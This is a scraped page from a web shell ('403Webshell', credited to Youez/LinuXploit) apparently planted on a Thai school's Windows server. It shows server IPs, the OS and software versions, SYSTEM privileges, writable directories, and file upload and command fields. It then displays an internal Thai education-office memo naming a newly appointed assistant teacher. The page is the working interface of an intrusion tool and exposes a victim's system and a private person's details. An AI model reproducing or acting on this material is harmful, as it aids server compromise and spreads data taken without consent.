403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/bangphae/data/tkk2text/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/bangphae/data/tkk2text/1655972920.txt
<p>&nbsp;เรียน&nbsp; ผู้อำนวยการโรงเรียนบางแพปฐมพิทยา</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;สำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี&nbsp; แจ้งเรื่อง&nbsp;บรรจุและแต่งตั้งผู้สอบแข่งขันได้ จากบัญชีผู้สอบแข่งขันได้บัญชีหนึ่งไปขึ้นบัญชีเป็นผู้สอบแข่งขันได้ในบัญชีอื่น&nbsp; สำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี&nbsp; ขอส่งตัว นางสาวณัฐกุล เทพนาค ผู้สอบแข่งขันได้ เพื่อบรรจุและแต่งตั้งเข้ารับราชการเป็นข้าราชการครูและบุคลากรทางการศึกษา ตำแหน่งครูผู้ช่วย&nbsp; ลำดับที่ ๓ กลุ่มวิชาหรือสาขาวิชาเอกภาษาอังกฤษ มารายงานตัวเพื่อรับการบรรจุและแต่งตั้งเข้ารับราชการเป็นข้าราชการครูและบุคลากรทางการศึกษา ในวันที่ ๒๓ มิถุนายน ๒๕๖๕ ทั้งนี้ ได้จัดทำทะเบียนประวัติในวันที่บรรจุเรียบร้อยแล้ว ในการนี้ จึงให้สถานศึกษาดำเนินการดังนี้&nbsp;&nbsp;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;๑. จัดส่งผู้ได้รับการบรรจุและแต่งตั้ง ไปตรวจสอบประวัติและพิมพ์ลายนิ้วมือที่สถานีตำรวจตามภูมิลำเนาของบุคคลนั้น หรือสถานีตำรวจอื่นใดที่สามารถดำเนินการรับตรวจสอบประวัติและพิมพ์ลายนิ้วมือตามสิ่งที่ส่งมาด้วย</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;๒. ให้สถานศึกษาเสนอรายชื่อคณะกรรมการเตรียมความพร้อมและพัฒนาอย่างเข้ม จำนวน ๓ คนประกอบด้วย ผู้อำนวยการสถานศึกษา ผู้ดำรงตำแหน่งครูในสถานศึกษา และผู้ทรงคุณวุฒิอื่นจากภายนอกสถานศึกษา ส่งให้กลุ่มบริหารงานบุคคล สำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี ภายในวันที่ ๓๐ มิถุนายน ๒๕๖๕ เพื่อดำเนินการตามหนังสือที่อ้างถึง ๑</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;๓. ให้คณะกรรมการเตรียมความพร้อมและพัฒนาอย่างเข้ม มีหน้าที่พัฒนาและประเมินผลการปฏิบัติตนและการปฏิบัติงานควบคู่กันเป็นระยะ ๆ อย่างต่อเนื่องทุก ๖ เดือน พร้อมแจ้งผู้รับการประเมินทราบรวม ๔ ครั้ง ในเวลา ๒ ปี ตามหลักเกณฑ์และวิธีการที่ ก.ค.ศ. กำหนด ตามหนังสือที่อ้างถึง</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;หากบุคคลดังกล่าวไม่มารายงานตัวในวันดังกล่าวข้างต้น ถือว่าผู้นี้สละสิทธิ์ในการบรรจุและแต่งตั้ง สำหรับคำสั่งบรรจุและแต่งตั้ง เมื่อศึกษาธิการจังหวัดลงนามในคำสั่งเรียบร้อย จะจัดส่งให้ต่อไป</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;จึงเรียนมาเพื่อโปรดทราบ</p>

Youez - 2016 - github.com/yon3zu
LinuXploit